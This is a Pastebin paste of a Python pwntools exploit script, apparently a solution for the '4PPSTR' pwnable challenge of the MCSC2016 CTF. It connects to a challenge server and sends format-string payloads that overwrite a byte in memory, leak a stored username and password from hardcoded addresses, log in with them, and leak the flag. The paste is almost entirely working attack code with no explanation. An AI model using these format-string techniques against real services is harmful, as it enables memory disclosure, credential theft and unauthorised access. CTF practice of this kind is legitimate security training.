Advertisement
Guest User

Untitled

a guest
Dec 9th, 2016
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.40 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3.  
  4.  
  5. #Abdeljalil Nouiri
  6.  
  7. #4PPSTR - Pwnable - MCSC2016 CTF
  8. #Greetz : Azzedine Djekmani & All MCSC CTF organizers & INSEC
  9.  
  10.  
  11. from pwn import *
  12.  
  13. con = remote("172.16.20.133",2020)
  14.  
  15.  
  16. ###############
  17. USER = p32(0x0804a080) #push sym.username ; 0x0804a080
  18. PASS = p32(0x0804a100-1) #push sym.password ; 0x0804a100
  19. FLAG = p32(0x0804a180) #push sym.flag ; 0x0804a180
  20. ###############
  21.  
  22.  
  23. con.recvuntil("option:")
  24. con.send("1\n")
  25. paylaod = p32(0x0804a0ff)+"%64d"+"%4$hhn"
  26. con.send(paylaod+"\n")
  27. con.recvuntil("option:")
  28.  
  29. ################
  30. con.send("10\n")
  31. con.recvuntil("Username:")
  32. con.send("F\n")
  33. con.recvuntil("Password:")
  34. con.send("U\n")
  35. ###############
  36.  
  37.  
  38. ########leak username
  39. con.recvuntil("option:")
  40. con.send("1\n")
  41. payload = USER+"%4$s"
  42. con.send(payload+"\n")
  43. getu = con.recvuntil("option: ")[5:][:-1]
  44. username = getu.split("\n")
  45. log.info("USER : " + username[0])
  46.  
  47. ##########leak password
  48.  
  49. con.send("1\n")
  50. payload = PASS+"%4$s"
  51. con.send(payload+"\n")
  52. getp = con.recvuntil("option: ")[5:][:-1]
  53. password = getp.split("\n")
  54. log.info("PASS : " + password[0])
  55.  
  56.  
  57. ################Login
  58. con.send("10\n")
  59. con.recvuntil("Username:")
  60. con.send(username[0]+"\n")
  61. con.recvuntil("Password:")
  62. con.send(password[0]+ "\n")
  63.  
  64.  
  65.  
  66. ###############Leak the FLAG :D
  67. con.recvuntil("option:")
  68. con.send("1\n")
  69. payload = FLAG+"%4$s"
  70. con.send(payload+"\n")
  71. getf = con.recvuntil("option: ")[5:][:-1]
  72. flag = getf.split("\n")
  73. log.info("FLAG : " + flag[0])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement